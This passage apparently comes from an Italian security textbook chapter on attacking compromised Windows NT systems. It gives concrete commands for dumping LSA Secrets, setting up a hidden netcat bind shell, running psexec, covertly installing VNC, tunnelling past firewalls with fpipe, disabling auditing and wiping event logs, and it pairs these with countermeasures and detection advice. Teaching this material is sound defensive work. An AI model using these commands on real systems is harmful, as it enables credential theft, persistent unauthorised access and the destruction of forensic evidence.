La vulnerabilità relativa a LSA Secret è uno degli esempi più insidiosi dei pericoli che si possono correre quando le credenziali di accesso ai sistemi esterni non vengono cifrate. I sistemi della famiglia NT conservano queste credenziali insieme ad altre informazioni interessanti. Una tale miniera di informazioni delicate è chiamata LSA (*Local Security Authority*) Secrets; è memorizzata nel Registro di sistema ed è raggiungibile selezionando il percorso *HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets*. LSA Secrets comprende gli elementi elencati di seguito.

- Password di servizio memorizzate in chiaro. Gli account di servizio sono richiesti dai programmi che devono eseguire la connessione nel contesto di un utente locale per eseguire alcune attività, come per esempio il backup. In genere si tratta di account definiti in domini esterni che, quando vengono scoperti da un sistema manomesso, forniscono al pirata un metodo per connettersi direttamente al dominio esterno.
- Gli hash delle password utilizzate dagli ultimi dieci utenti per connettersi alla macchina.
- Le password in chiaro di accesso ai siti FTP e Web.
- Nomi utente e password di account remoti RAS (*Remote Access Services*).
- Le password delle stazioni di lavoro per l'accesso al dominio.

Ovviamente la disponibilità delle password di servizio, degli ultimi nomi utente utilizzati, delle password di accesso al dominio ecc. può compromettere seriamente la sicurezza dell'intera struttura del dominio.

Immaginate per esempio un server standalone in cui sono installati servizi di SQL Server e Microsoft SMS eseguiti nel contesto dell'utente di un dominio. Se la password dell'utente locale Administrator è vuota, le informazioni contenute nelle chiavi di registro LSA Secrets possono funzionare da trampolino di lancio per ottenere le credenziali di accesso al dominio. Se in un server dei domini delle risorse viene eseguito un servizio nel contesto di un account utente dal dominio principale, una compromissione del server nel dominio delle risorse potrebbe consentire a un intruso malintenzionato di ottenere le credenziali nel suddetto dominio principale.

Possiamo immaginare una situazione ancora più preoccupante: considerate la "flotta" di PC portatili della vostra azienda. Le alte sfere dell'azienda portano a casa il PC portatile in cui è installato NT e utilizzano (giustamente) le funzionalità RAS (*Accesso Remoto*) della postazione, per collegarsi alla rete aziendale e a Internet tramite il provider personale. Supponiamo che chi utilizza il portatile sia stato correttamente istruito sui problemi di sicurezza e non selezioni la casella di controllo *Save Password*, per evitare la memorizzazione della password di collegamento durante le sessioni di connessione. Per nostra sfortuna i dati relativi alla password, al numero di telefono e al nome utente vengono comunque salvati nelle chiavi LSA del Registro di sistema.

Dal 1997 è disponibile sulla mailing list NTBugtraq (disponibile al sito `http://www.ntbugtraq.com`) un esempio di codice sorgente scritto da Paul Ashton, in grado di visualizzare il contenuto delle informazioni localizzate nella LSA (*Local Security Au-*

thority) agli amministratori connessi in locale. I file eseguibili del codice sorgente non sono stati diffusi su vasta scala. Una versione aggiornata di questo codice chiamata `lsadump2` è disponibile all'indirizzo `http://razor.bindview.com/tools/`.
`lsadump2` si serve della stessa tecnica di `pwdump2` (iniezione di codice nella libreria DLL) per neutralizzare le contromisure di sicurezza del sistema operativo. `lsadump2` trova automaticamente il PID di LSASS, inserisce il proprio codice e sottrae LSA Secrets, come viene mostrato di seguito (per motivi di spazio l'output è lievemente modificato):

```
C:\>lsadump2
$MACHINE.ACC
 6E 00 76 00 76 00 68 00 68 00 5A 00 30 00 41 00  n.v.v.h.h.Z.0.A.
 66 00 68 00 50 00 6C 00 41 00 73 00              f.h.P.l.A.s.
_SC_MSSQLServer
32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00  .p.a.s.s.w.o.r.d.
_SC_SQLServerAgent
 32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00  p.a.s.s.w.o.r.d.
```

Tra gli LSA Secrets di questo sistema possiamo notare la password della macchina e due password relative al servizio SQL. Non si vuole molta immaginazione per capire che le reti della famiglia NT di grandi dimensioni possono essere messe rapidamente fuori uso tramite questo tipo di enumerazione delle password.

Contromisure all'intercettazione di LSA Secrets

Sfortunatamente, Microsoft non considera critica la divulgazione di questi dati in quanto, come affermato nell'articolo Q184017 di Knowledge Base che descrive la disponibilità dell'aggiornamento originale di LSA, l'accesso a queste informazioni come utente Administrator è reso possibile dal codice. La soluzione fornita da Microsoft è in grado di cifrare con maggior sicurezza le password di servizio, le credenziali di accesso ai domini presenti in cache e le password delle postazioni di lavoro, utilizzando un metodo di cifratura del tipo SYSKEY. Ovviamente, `lsadump2` neutralizza la protezione utilizzando la tecnica dell'iniezione di codice nella libreria DLL.
Pertanto, la migliore difesa contro `lsadump2` consiste innanzitutto nell'impedire l'accesso come amministratore. È inoltre opportuno essere molto cauti riguardo all'utilizzo di account di servizio e di trust di dominio. Evitate a ogni costo di utilizzare account di domini con privilegi elevati per avviare servizi su macchine locali!
Esiste un aggiornamento diverso (SP6a), che è in grado di risolvere il problema della protezione dell'accesso alle credenziali di accesso remoto (origininariamente si trovava in un aggiornamento successivo alla pubblicazione del Service Pack 5 di Microsoft, disponibile all'indirizzo Web `ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/Hotfixes-PostSP5/RASPassword-fix/`). Troverete ulteriori informazioni consultando l'articolo Q230681 di Microsoft Knowledge Base.

Controllo remoto e backdoor

Abbiamo già accennato alla mancanza, in Windows NT, della possibilità di eseguire comandi da una postazione remota. In realtà non abbiamo ancora spiegato come stanno esattamente le cose. Una volta che l'utente si è qualificato come Administrator, ha a disposizione una gamma infinita di possibilità.

Tool di controllo remoto a riga di comando

Diffusione:	*9*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*9*

Una delle backdoor più facili da installare usufruisce di quella sorta di "coltellino svizzero di TCP/IP" che è il programma `netcat` (disponibile all'indirizzo `http://www.atstake.com/research/tools/index.html`). `netcat` è in grado di rimanere in ascolto su una certa porta e di avviare un programma quando un sistema remoto vi si connette. Se configuriamo `netcat` in modo che sia avviata una sessione di comando di NT, questa sessione può essere rilanciata al sistema remoto chiamante. Di seguito potete osservare la sintassi da utilizzare per avviare `netcat`, in modo che rimanga nascosto in attesa delle connessioni su una certa porta. Il parametro `-L` consente di mantenere `netcat` attivo in ascolto anche dopo che la comunicazione si è interrotta; `-d` avvia `netcat` in modalità nascosta (senza console applicativa); `-e` specifica quale programma deve essere eseguito (nel nostro caso `cmd.exe`, l'interprete di comandi di Windows NT). Il parametro `-p` indica a `netcat` la porta presso cui rimanere in ascolto:

```
C:\>nc -L -d -e cmd.exe -p 8080
```

Grazie a questo comando, chiunque si possa connettere alla porta 8080 del server, riceverà il prompt dei comandi come risposta. Nell'esempio seguente utilizzeremo `netcat` per connetterci alla porta remota del server visto in precedenza (indirizzo IP 192.168.202.44) e ricevere il prompt dei comandi remoti. Anche questa volta, per non creare confusione, il prompt locale è indicato con `D:\>`, mentre quello del server remoto è `C:\TEMP\NC11NT>`.

```
C:\> nc 192.168.202.44 8080
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.

C:\TEMP\NC11NT>
C:\TEMP\NC11NT>ipconfig
ipconfig

Windows NT IP Configuration

Ethernet adapter FEM5561:

        IP Address. . . . . .

. . . : 192.168.202.44
        Subnet Mask . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . :

C:\TEMP\NC11NT>exit
```

Come potete vedere, l'utente remoto ha la possibilità di eseguire comandi e file a piacere: l'unico limite a questo punto è imposto dalla propria fantasia alle prese con la console di Windows NT.

netcat funziona bene quando vi occorre una porta particolare su cui lavorare, ma se avete accesso a SMB (TCP 139 o 445), il tool migliore da utilizzare è psexec disponibile all'indirizzo http://www.sysinternals.com. psexec si limita a eseguire un comando sulla macchina remota utilizzando la sintassi seguente:

```
C:\>psexec \\sever-name-or-ip -u admin_username -p admin_password command
```

Ecco un esempio di un comando tipico:

```
C:\>psexec \\10.1.1.1 -u Administrator -p password -s cmd.exe
```

Non potrebbe essere più facile. Eravamo soliti raccomandare l'utilizzo del comando AT per pianificare l'esecuzione dei comandi su sistemi remoti; ma psexec facilita notevolmente questo processo, purché abbiate accesso all'SMB (la qual cosa è comunque richiesta dal comando AT).

Controllo remoto dell'interfaccia grafica

Diffusione:	*10*
Semplicità:	*10*
Impatto:	*10*
Fattore di rischio:	*10*

Una shell dei comandi remota è una cosa fantastica, ma la famiglia NT è talmente dotata di funzionalità grafiche che una GUI remota sarebbe davvero un colpo da maestro. Se avete accesso al Terminal Services (installato facoltativamente su Windows 2000 e versioni successive), probabilmente avrete già a disposizione il miglior controllo remoto che la famiglia NT è in grado di offrire. Verificate se la porta TCP 3389 è in ascolto sul server remoto violato e utilizzate qualsiasi credenziale valida acquisita in attacchi precedenti per autenticarvi.

Se TS non è disponibile, dovrete probabilmente installare il vostro tool grafico di controllo remoto. L'eccellente tool gratuito VNC (*Virtual Network Computing*) di AT&T Research Laboratories è la soluzione preferibile da questo punto di vista (http://www.realvnc.com/download.html); di VNC si parlerà ancora nel Capitolo 13. Uno dei principali punti di forza di VNC (oltre al fatto di essere gratuito!) risiede nella sua relativa facilità di installazione, sia locale sia da una connessione remota. Utilizzando un prompt dei comandi remoto, come abbiamo già visto in precedenza, è sufficiente installare il servizio VNC e aggiungere una singola chiave al Registro di sistema, in modo da consentire a VNC di essere avviato in modalità nascosta. Di seguito forniamo una breve guida all'installazione, invitandovi però a consultare la documentazione completa per l'installazione di VNC, disponibile all'URL indicato in precedenza. Sarete così in grado di comprendere tutti i meccanismi di funzionamento di questa utility a riga di comando.

Come primo passo, sarà necessario copiare il programma VNC e tutti i file di supporto necessari sul sistema di destinazione (WINVNC.EXE, VNCHooks.DLL e OMNITHREAD_ RT.DLL). Questo può essere eseguito in qualunque directory, ma l'applicazione sarà naturalmente più nascosta se verrà copiata da qualche parte all'interno del percorso di *%systemroot%*. Dobbiamo anche sottolineare che le ultime versioni di WINVNC aggiungono automaticamente una piccola icona verde nella barra delle applicazioni, rivelando in qualche modo la presenza del servizio server. Se avviate il servizio dalla riga di comando, ricordate che le versioni fino alla

3.3.2 sono in grado di funzionare in modalità praticamente invisibile all'utente che utilizza la console di sistema (ricordate comunque che WINVNC.exe viene ovviamente visualizzato nell'elenco dei processi attivi).
Dopo aver copiato WINVNC.EXE, è necessario impostare la password di VNC. Generalmente il servizio VNC presenta, quando viene avviato, una finestra di dialogo che richiede l'inserimento di una password prima di accettare le connessioni in entrata (tutto questo a causa degli sviluppatori software fissati sulla sicurezza!). Occorre inoltre indicare al servizio WINVNC di rimanere in attesa di connessioni in ingresso, anch'esse definite tramite la GUI. Tutte queste informazioni possono essere inserite nel Registro di sistema, tramite l'utility `regini.exe`.
Dobbiamo innanzitutto creare un file di testo chiamato WINVNC.INI nel quale inserire tutte le modifiche necessarie alle chiavi del Registro di sistema. I valori riportati di seguito sono stati ricavati da un'installazione locale di WINVNC e trasferiti nel file di testo con l'utility di NTRK regdmp (il valore in chiaro della password è `secret`). Il file WINVNC.INI ottenuto è il seguente:

```
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
    SocketConnect = REG_DWORD 0x00000001
    Password = REG_BINARY 0x00000008 0x57bf2d2e 0x9e6cb06e
```

Possiamo quindi caricare le definizioni delle chiavi di registro utilizzando `regini`:

```
C:\> regini -m \\192.168.202.33 winvnc.ini
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
    SocketConnect = REG_DWORD 0x00000001
    Password = REG_BINARY 0x00000008 0x57bf2d2e 0x9e6cb06e
```

Per finire, dobbiamo installare il servizio WINVNC e avviarlo. La sessione seguente mostra la sintassi utilizzata per questa operazione (ricordatevi che questa è una shell dei comandi situata sul sistema remoto):

```
C:\> winvnc -install

C:\> net start winvnc
The VNC Server service is starting.
The VNC Server service was started successfully.
```

Possiamo ora avviare l'applicazione `vncviewer` ed effettuare la connessione alla postazione remota. Le immagini seguenti mostrano le finestre di dialogo che vengono visualizzate. Nella prima immagine tentiamo la connessione al "display 0" della postazione, all'indirizzo IP 192.168.202.33 (la sintassi `host:display` è all'incirca equivalente a quella del sistema X Window di UNIX: tutte le postazioni Microsoft Windows hanno il valore di display predefinito impostato a 0). La seconda immagine mostra la richiesta della password (la ricordate, vero?).

Connection details
VNC server: 192.168.202.33:0
Use host:display
e.g. snoopy:2
OK
Cancel
Options...

L'interfaccia grafica remota prende vita sulla vostra postazione locale, come mostrato nella Figura 5.9. Il cursore del mouse si comporta esattamente come se venisse utilizzato proprio quello del sistema remoto.

Figura 5.9

WinVNC connesso a un sistema remoto. Questa immagine è per lo più equivalente a ciò che trovereste nel computer remoto.

VNC è veramente un programma potente ed è in grado di inviare al sistema remoto anche combinazioni complesse di tasti come Ctrl+Alt+Canc. Le possibilità sono illimitate.

Contromisure al controllo remoto

Poiché questi tool richiedono l'accesso amministrativo per installarsi, la migliore contromisura consiste innanzitutto nell'evitare questo livello di compromissione. Abbiamo inserito in questo paragrafo alcuni suggerimenti sull'eliminazione di WINVNC, ma si tratta in realtà di una questione accademica.

Per interrompere in modo ortodosso il servizio WINVNC e rimuoverlo è sufficiente utilizzare i comandi seguenti:

```
C:\> net stop winvnc
C:\> winvnc -remove
```

Per cancellare le chiavi di WinVNC dal Registro di sistema potete utilizzare l'utility `reg.exe` (NTRK), come illustrato in precedenza:

```
C:\> reg delete \\192.168.202.33
HKEY_LOCAL_MACHINE\System\
CurrentControlSet\Services\WinVNC
```

Reindirizzamento delle porte

I programmi di controllo remoto basati su shell che abbiamo illustrato in precedenza sono stati trattati nel contesto di connessioni di controllo remoto dirette. Tuttavia, considerate la situazione in cui un firewall intermedio blocchi l'accesso diretto al sistema target. Gli hacker più ingegnosi sono in grado di aggirare l'ostacolo utilizzando il metodo del *reindirizzamento delle porte*. Affronteremo in modo approfondito questo argomento nel Capitolo 14, mentre in questo paragrafo ci limiteremo a trattare alcuni strumenti e tecniche specifiche di NT.

Una volta compromesso un sistema determinante, per esempio un firewall, l'hacker può utilizzare il reindirizzamento delle porte per inoltrare tutti i pacchetti verso una specifica destinazione. Il risultato di questa operazione è la possibilità per l'hacker di accedere a qualsiasi sistema prima protetto dal firewall (o simile). Il reindirizzamento si basa sull'ascolto in porte determinate e l'inoltro dei pacchetti grezzi a una destinazione secondaria prestabilita. In seguito, presenteremo alcuni metodi per configurare manualmente il reindirizzamento delle porte utilizzando `netcat`, `rinetd` e `fpipe`

fpipe

Diffusione:	*5*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*8*

`fpipe` è uno strumento per l'inoltro e il reindirizzamento delle porte TCP di origine, realizzato da Foundstone Inc. È in grado di creare un flusso TCP con una porta di origine opzionale scelta dall'utente. Questo processo è utile durante i tentativi di intrusione, per superare i firewall configurati in modo da consentire il passaggio unicamente a un certo tipo di traffico verso le reti interne.

Il principio di funzionamento di `fpipe` si basa fondamentalmente sul reindirizzamento. Avviate `fpipe` specificando una porta di ascolto sulla rete, una porta di destinazione remota (la porta che state cercando di raggiungere all'interno del firewall) e il numero di porta di origine locale (opzionale) desiderata. All'avvio, `fpipe` si mette in attesa di una connessione client sulla sua porta di ascolto. In corrispondenza di una connessione client, viene stabilita una nuova connessione con la macchina e la porta di destinazione sulla porta di origine locale specificata, cre-

ando un circuito completo. Una volta stabilita la connessione completa, fpipe inoltra tutti i dati ricevuti sulla sua connessione in ingresso oltre il firewall e restituisce il traffico di risposta al sistema che ha avviato la connessione. Questo metodo fa sembrare la configurazione di diverse sessioni netcat una pratica addirittura dolorosa, in quanto fpipe consente di eseguire la stessa operazione in modo trasparente.
Di seguito illustreremo l'utilizzo di fpipe per impostare un reindirizzamento su un sistema manomesso, su cui è in esecuzione un server telnet protetto da un firewall che blocca la porta 23 (telnet), ma lascia libera la porta 53 (DNS). Di norma, non è possibile connettersi alla porta telnet direttamente sulla porta TCP 23, ma se configuriamo un fpipe sulla macchina host, in modo che i pacchetti ricevuti sulla porta 53 vengano girati alla porta telnet, possiamo ottenere un risultato equivalente. La Figura 5.10 mostra il redirezionamento fpipe in esecuzione sull'host compromesso.

```
C:\cmd.exe - fpipe -v -l 53 -r 23 192.168.234.37

E:\>fpipe -v -l 53 -r 23 192.168.234.37
FPipe v2.01 - TCP port redirector.
Copyright 2000 (c) by Foundstone, Inc.
http://www.foundstone.com

Listening for connections on port 53
Connection accepted from 192.168.234.36 port 6466
Attempting to connect to 192.168.234.37 port 23
Pipe connected:
   In:    192.168.234.36:6466   --> 192.168.234.41:53
  Out:    192.168.234.41:1038   --> 192.168.234.37:23
18 bytes received from outbound connection
3 bytes received from inbound connection
72 bytes received from outbound connection
15 bytes received from inbound connection
```

Figura 5.10

Il redirezionamento fpipe in esecuzione su un host compromesso. fpipe è stato impostato per inoltrare le connessioni alla porta 53 per la 23 in 102.168.234.37: in quest'ultima vengono inoltrati i dati.

La semplice connessione alla porta 53 dell'host consente all'hacker di attivare un prompt telnet sulla propria macchina.
La funzionalità più interessante di fpipe è la sua capacità di specificare una porta di origine per il traffico. Durante i tentativi d'intrusione, questo è spesso necessario per aggirare un firewall o un router che permette il passaggio di traffico originato solo su alcune porte (per esempio, il traffico originato sulla porta TCP 25 può comunicare solo con il server di posta). Normalmente il protocollo TCP/IP assegna alle connessioni client porte di origine di numero elevato, che in genere vengono filtrate dal firewall. Tuttavia, il firewall potrebbe consentire il passaggio del traffico DNS (come in effetti consente). fpipe può essere configurato per forzare l'utilizzo di una porta di origine specifica, in questo caso la porta DNS. In questo modo, il firewall "vede" il flusso di dati come un servizio autorizzato e lo lascia passare.

Ricordate che se utilizzate l'opzione -s *per specificare un numero di porta di origine per una connessione in uscita e la connessione viene chiusa, potreste non essere in grado di ricollegarvi alla macchina remota per un intervallo di tempo compreso tra 30 secondi e 4 minuti, a seconda del tipo e della versione del sistema operativo utilizzato.*

Contromisure generali alla manomissione dei privilegi

A questo punto come riuscirete a ripulire tutti i guai che abbiamo causato e ad arginare ogni falla rimasta? Abbiamo utilizzato l'utente Administrator e sono state sfruttate le svariate funzionalità del sistema; inoltre, abbiamo sfiorato diverse sfaccettature dell'architettura di Windows NT e sono stati installati e configurati file che potrebbero presentarsi in un numero infinito di combinazioni differenti. Il compito di ripulire il sistema e prevenire ulteriori invasioni si rivela quindi particolarmente gravoso. Forniamo a questo punto una serie di utili suggerimenti di carattere generale, cercando di trattare i quattro aspetti principali che sono stati affrontati finora: i nomi di file, le chiavi del Registro di sistema, i processi e, infine, le porte.

In aggiunta a questo paragrafo, consigliamo vivamente di leggere la trattazione sulle backdoor riportata nel Capitolo 14, in quanto prende in esame alcune contromisure di carattere generale per questi attacchi.

Il miglior modo per affrontare la manomissione dei privilegi di qualsiasi sistema consiste nel reinstallare completamente il software del sistema da un supporto affidabile. Gli hacker consumati potrebbero potenzialmente nascondere certe backdoor che anche gli investigatori dotati di maggiore esperienza non sarebbero in grado di individuare. Questi consigli sono quindi forniti per il lettore e non sono consigliati come soluzione completa a questo tipo di attacchi.

Nomi di file

Questi suggerimenti sono sicuramente i meno efficaci, perché qualunque hacker con un minimo di esperienza adotterà sicuramente l'accorgimento di modificare i nomi dei file o di adottare altre contromisure per nasconderli (si veda il paragrafo "Occultamento delle proprie tracce" nel prosieguo di questo capitolo), ma essi possono consentire di fermare qualche intruso meno ricco di immaginazione che si infiltra nei vostri sistemi.

Abbiamo già nominato un certo numero di file da considerare veramente pericolosi: `nc.exe (netcat)`, `psexec.exe`, `WINVNC.exe`, VNCHooks.dll, omnithread_rt.dll e fpipe .exe. Inoltre, molti dei worm IIS più perniciosi avranno copiato la shell `cmd.exe` in varie posizioni del disco; cercate `root.exe`, `sensepost.exe` e file dai nomi simili aventi la stessa dimensione di `cmd.exe` (236.304 byte su Windows 2000 e 375.808 byte su Windows XP). Altre impronte comuni dei worm IIS sono i log che presentano il nome "TFTPxxx." Se qualcuno sta lasciando questi biglietti da visita sul vostro server senza che lo abbiate autorizzato, iniziate prontamente le indagini; avete visto come possono essere utilizzati.

Controllate attentamente anche i file presenti all'interno delle diverse cartelle PROGRAMS*STARTUP**%nomeutente%* nella directory *%SYSTEMROOT%**PROFILES*\\. Tutto quanto si trova all'interno di queste cartelle viene avviato al boot del sistema (ne riparleremo in seguito).

Un'ottima misura preventiva per identificare le modifiche apportate al file system consiste nell'utilizzare gli strumenti di monitoraggio del checksum, come, per esempio, Tripwire (`http://www.tripwiresecurity.com`*).*

*Con Windows 2000 è stato introdotto WFP (*Windows File Protection*), che protegge i file di sistema creati durante l'installazione di questo sistema operativo, impedendo che siano sovrascritti (ci riferiamo in particolare alla maggior parte dei file situati sotto* %systemroot%*).*

Chiavi del Registro di sistema

Al contrario della ricerca di file che possono essere facilmente rinominati, l'individuazione dei valori nel Registro di sistema è un metodo molto efficace, poiché la maggior parte delle applicazioni che abbiamo illustrato si aspetta di trovare specifiche chiavi in posizioni ben determinate. Il primo posto dove andare a cercare è *HKML\SOFTWARE* e *HKEY_USERS\.DEFAULT\Software*, in cui risiede la maggior parte delle chiavi relative ai software installati. In particolare NetBus Pro e WinVNC creano le proprie chiavi rispettivamente nelle seguenti ramificazioni del registro:

- *HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3*;
- *HKEY_LOCAL_MACHINE\SOFTWARE\Net Solutions\NetBus Server.*

Utilizzando lo strumento a riga di comando `reg.exe` (disponibile come al solito nel Resource Kit di NT) è possibile eliminare queste chiavi molto facilmente anche in un sistema remoto. La sintassi da utilizzare è la seguente:

```
reg delete [valore] \\macchina
```

Per esempio:

```
C:\> reg delete HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
\\192.168.202.33
```

Posizione favorita per l'avvio di backdoor: l'avvio di Windows

Avete anche visto una aspetto particolarmente importante: gli aggressori quasi sempre inseriscono nel Registro i valori necessari sotto le chiavi standard di avvio di Windows. Queste posizioni dovrebbero essere verificate con regolarità, andando alla ricerca di comandi dall'aspetto strano o pericoloso. Vi rammento che queste aree sono *HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e RunOnce, RunOnceEx* e *RunServices* (solo per Win 9x).

Le autorizzazioni di accesso a queste chiavi dovrebbero essere fortemente limitate ai normali utenti. L'impostazione predefinita di Windows NT è la seguente: il gruppo "Everyone" (ossia chiunque) è autorizzato all'operazione "Set Value" sulla chiave *HKLM\..\..\Run*. Questa autorizzazione dovrebbe essere modificata con le impostazioni *Security, Permissions* di `regedt32`.

Di seguito mostriamo un esempio di che cosa deve essere ricercato. La figura a pagina seguente, relativa a `regedit`, mostra un dispositivo di ascolto `netcat` impostato per essere avviato sulla porta 8080 al bootup, situato sotto *HKLM\..\..\Run*.

L'hacker a questo punto dispone di una porta in perpetuo ascolto su questo sistema, finché l'amministratore non scopre l'intrusione e non rimuove manualmente la definizione dal Registro di sistema.

Non dimenticate di verificare anche il contenuto delle cartelle *%systemroot%\profiles\%nomeutente%\Start Menu\programs\startup*. Anche questi file sono eseguiti automaticamente a ogni bootup.

Processi

Per tutti gli strumenti e le utility di hacking che non possono essere rinominati o contraffatti in qualche modo, è molto utile eseguire un controllo regolare dei processi attivi nel sistema. Per esempio, è possibile pianificare periodicamente procedure o script che vadano alla ricerca dei processi `remote.exe` oppure `nc.exe` e che li interrompano. Un amministratore di sistema degno di questo nome non dovrebbe avere alcun motivo per avviare e utilizzare `remote`, perché questo programma non esegue alcun controllo di autenticazione dell'utente. Nell'esempio seguente ricorriamo al comando `at` per avviare `kill` (che interrompe il processo `remote.exe`) ogni giorno alle sei. Questo esempio è abbastanza semplice, ma molto efficace. Se lo desiderate potete modificare a vostro piacimento l'intervallo di esecuzione:

```
C:\> at 6A /e:1 ""kill remote.exe"
Added a new job with job ID = 12

C:\> at
Status ID   Day                        Time          Command Line
-------------------------------------------------------------------
       12   Each 1                     6:00 AM       kill remote.exe

C:\> kill remote.exe
process #236 [remote.exe] killed
```

Il programma `rkill.exe` (sempre disponibile nell'NTRK) è in grado di eseguire la stessa operazione su un server remoto, utilizzando una sintassi simile. In questo

caso però è necessario ottenere il PID (*process ID*, identificativo del processo) di `remote.exe` prima di poter interrompere la sua esecuzione. A tal fine ci si affida all'utility `pulist` (NTRK). Si potrebbe mettere a punto un sistema elaborato che consenta di pianificare l'esecuzione periodica di `pulist` con relativa ricerca con grep di stringhe perniciose, da trasferire successivamente a `rkill`. Purtroppo questo metodo viene aggirato con facilità se il programma `remote.exe` viene per esempio rinominato con un nome molto meno sospetto (come WINLOG.EXE). Questo metodo può essere invece di grande aiuto quando il processo non può essere rinominato, come avviene nel caso di `WINVNC.EXE`.

Un buon posto in cui cercare segni rivelatori di compromissioni è la coda di AT Scheduler.

Porte

Anche se il programma `nc` è stato rinominato, l'utility `netstat` è comunque in grado di identificare le sessioni in ascolto o stabilite. Il modo migliore per catturare queste connessioni pirata consiste nell'avviare periodicamente `netstat` per rintracciarle. Nell'esempio illustrato di seguito, viene avviato il comando `netstat -an` sul server attaccato, mentre è in corso una connessione attraverso `remote` e `nc` sulla porta 8080 (per comprendere il significato del parametro `-an` potete digitare il comando `netstat /?`). Osservate che la connessione remota tramite `remote` avviene sulla porta TCP 139, mentre `netcat` è in ascolto sulla porta TCP 8080. Nel listato dell'output di `netstat`, per maggior chiarezza, abbiamo rimosso parte delle informazioni:

```
C:\> netstat -an
Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    192.168.202.44:139     0.0.0.0:0              LISTENING
  TCP    192.168.202.44:139     192.168.202.37:1817    ESTABLISHED
  TCP    192.168.202.44:8080    0.0.0.0:0              LISTENING
  TCP    192.168.202.44:8080    192.168.202.37:1784    ESTABLISHED
```

Dalle informazioni raccolte da `netstat` possiamo innanzitutto concludere che la difesa migliore per eliminare il pericolo di connessioni attraverso `remote` è impedire l'accesso alle porte 135 e 139 su qualunque obiettivo potenziale. Potete ottenere questo risultato abilitando il filtro della porta sul firewall oppure disabilitando i binding NetBIOS per le schede di rete esposte all'esterno, come illustrato in precedenza in questo capitolo.

L'output di `netstat` può essere elaborato da `find` con un pipe, in modo da effettuare una ricerca su porte specifiche. L'esempio seguente ricerca i server NetBus in ascolto sulla porta predefinita:

```
netstat -an | find "12345"
```

`FPORT` di Foundstone (`http://www.foundstone.com`) fornisce la corrispondenza finale tra processi e porte, elencando tutti i socket attivi e l'ID del processo che utilizza la connessione. Di seguito viene riportato un esempio dell'output:

```
FPORT - Process port mapper
Copyright(c) 2000, Foundstone, Inc.
```

```
http://www.foundstone.com

PID      NAME          TYPE    PORT
-------------------------------------
184      IEXPLORE      UDP     1118
249      OUTLOOK       UDP     0
265      MAPISP32      UDP     1104
265      MAPISP32      UDP     0
```

Occultamento delle proprie tracce

Dopo che un hacker ha ottenuto con successo le credenziali di un amministratore sul sistema, una delle sue preoccupazioni sarà cercare di nascondere le tracce della propria presenza. Dopo aver estorto diverse informazioni dalla postazione attaccata, cercherà di installare qualche backdoor, configurando il sistema per poter riguadagnare un facile accesso in futuro. In questo modo viene preparata la strada per ulteriori tentativi di conquista su altri sistemi della stessa rete.

Disabilitazione dell'auditing delle attività

Se l'amministratore di sistema è abbastanza informato sulle attività necessarie per garantire la sicurezza dei server, sicuramente avrà attivato l'auditing delle attività, come abbiamo già spiegato all'inizio di questo capitolo. Poiché l'attivazione dell'auditing può portare al rallentamento complessivo del sistema (specialmente se scegliete di registrare gli eventi di tipo *Success*, terminati con successo, per le attività *User & Group Management*), la maggior parte degli amministratori di Windows NT non abilita l'auditing, oppure lo attiva per registrare unicamente alcune attività. Nonostante questa abitudine deprecabile, la prima operazione effettuata da un hacker consiste nel verificare, dopo aver raggiunto lo stato di Administrator, se l'auditing delle attività *Policy* è attivato. Nel malaugurato caso, seppur improbabile, che le attività vengano registrate, l'hacker si serve dell'utility `auditpol` (proveniente dal Resource Kit di Windows NT), in grado di svolgere le necessarie funzioni di disabilitazione dell'auditing. Nell'esempio seguente si osserva l'esecuzione di `auditpol` con l'argomento `disable` per disattivare l'auditing su un sistema remoto (l'output del programma è stato abbreviato per semplicità):

```
C:\> auditpol /disable
Running ...

Local audit information changed successfully ...
New local audit policy ...

(0) Audit Disabled

AuditCategorySystem              = No
AuditCategoryLogon               = Failure
AuditCategoryObjectAccess        = No
...
```

Al termine del "soggiorno" nel sistema, l'hacker si preoccuperà di abilitare nuovamente l'audit, utilizzando la stessa utility nel modo seguente: `auditpol /enable`. Il programma auditpol è in grado di conservare le singole impostazioni di audit del sistema.

Pulizia del log degli eventi

Se le attività iniziali del nostro hacker Administrator hanno già lasciato qualche traccia nell'*Event Log* del server, costui potrà preoccuparsi di eliminare gli eventi incriminati utilizzando l'*Event Viewer* (il visualizzatore degli eventi). Dopo essersi già autenticato sul server remoto, è possibile utilizzare l'*Event Viewer* locale per visualizzare, filtrare e cancellare il log remoto degli eventi. Questo processo potrà eliminare tutti gli eventi sospetti, ma lascerà un nuovo evento, che attesta che l'*Event Log* è stato modificato dall'hacker. Questo potrebbe mettere in allarme i veri amministratori di sistema. Un'alternativa consiste nel ricercare e modificare manualmente i vari file di log presenti nella directory *\winnt\system32*. L'impresa non è facile, a causa della complessa sintassi dei file di log. Esistono però altre possibilità.
Il programma `elsave`, scritto da Jesper Lauritsen (`http://www.ibt.ku.dk/jesper/NT-tools/`) è un semplice strumento in grado di rimuovere gli eventi registrati nell'*Event Log*. Nell'esempio seguente, `elsave` viene utilizzato per ripulire completamente il Security Log del sistema remoto `joel` (sono ovviamente necessarie le corrette autorizzazioni sul server remoto):

```
C:\> elsave -s \\joel -l "Security" -C
```

Occultamento dei file

L'installazione sul sistema obiettivo di un toolkit da utilizzare in un secondo tempo consente a un hacker malintenzionato di risparmiare molto tempo. Tutte queste utility possono costituire tuttavia un campanello di allarme che avvisa l'amministratore di sistema della presenza di un intruso. Questo è il motivo per cui l'hacker cercherà di escogitare metodi per nascondere i suoi file dalla vista degli utenti.

attrib

Nascondere un file è semplice quasi quanto copiarlo nella directory di destinazione. La vecchia applicazione DOS `attrib` può essere utilizzata per nasconderlo, come illustrato dalla sintassi seguente:

```
attrib +h [directory]
```

Questo comando nasconde file e directory, ma non è efficace in Explorer se è attiva l'opzione *Show All Files* (Mostra tutti i file).

Streaming dei file di NTFS

